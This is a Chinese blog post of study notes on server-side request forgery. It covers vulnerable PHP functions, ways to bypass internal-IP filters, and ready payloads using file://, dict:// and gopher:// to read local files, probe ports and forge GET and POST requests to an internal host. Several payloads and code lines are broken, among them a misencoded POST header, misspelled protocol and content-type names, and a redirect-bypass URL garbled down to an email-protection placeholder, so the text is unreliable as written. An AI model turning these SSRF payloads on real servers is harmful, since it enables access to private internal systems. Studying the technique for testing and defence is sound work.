一:SSRF介绍
是一种由web服务器发出请求的漏洞;它能够请求到与它相连的内网资源;通过外网服务器当作跳板请求内网资源!
二:SSRF常用函数
(1)file_get_contents函数
//可以读取本地文件;也可以通过url读取相关远程文件
<?php
$data = file_get_contents('url');
echo $ data;
?>
(2)curl函数
https://example.com/?url=baidu.com
三:SSRF绕过策略
1、限制思路
(1)限制对特定域名的访问请求
(2)禁止访问内网ip地址
2、绕过
(1)添加端口
(2)短链接
(3)192.168.11.1 <===> 192.168.11.1.xip.io
(4)数值绕过(进制转化)
(5)跳转绕过
http://[email protected]
//就会跳转到127.0.0.1
四:SSRF常用协议
(1)file协议
//file协议主要用于访问本地计算机文件
file://文件路径
file://c:\\flag.txt
(2)dict
//dict协议用于探测端口开放情况
dict://serverip:pore/info
dict://127.0.0.1:3306
(3)gohper(万能协议)
- 构造gopher数据包
空格改为%20;问号改为%3f;回车使用%0d%0a;最后一行+%0d%0a
- gopher GET请求
(1)原始数据包
GET /ssrf/01/04/get.php?user=abc HTTP/1.1
Host: 192.168.0.104
(2)构造gopher GET请求包
GET%20/ssrf/01/04/get.php%3fuser=abc%20HTTP/1.1%0d%0aHost:%20192.168.0.104%0d%0a
//curl发起请求
curl gopher://192.168.0.104/_GET%20/ssrf/01/04/get.php%3fuser=abc%20HTTP/1.1%0d%0aHost:%20192.168.0.104%0d%0a
- gopher POST请求
(1)原始数据包
POST /ssrf/01/04/post.php HTTP/1.1
Host: 192.168.0.104
Content-Type: application/x-www-urlenconded
Content-Length: 9
user=abcd
(2)构造gopher POST请求包
POST%20/ssrf/01/04/post.php%20HTTP/1.1%0d%0aHost:%0a192.168.0.104%0d%0aContent-Type:%20application/x-www-urlenconded%0d%0aContent-Length:%209%0d%0a%0d%0auser=abcd
//curl发起请求
gopher://192.168.0.104/_POST%20/ssrf/01/04/post.php%20HTTP/1.1%0d%0aHost:%0a192.168.0.104%0d%0aContent-Type:%20application/x-www-urlenconded%0d%0aContent-Length:%209%0d%0a%0d%0auser=abcd
//利用gohper协议就可以读取其中的信息!
标签:web,01,04,SSRF,渗透,gopher,192.168,ssrf,0d%
From: https://www.cnblogs.com/gsupl/p/18347161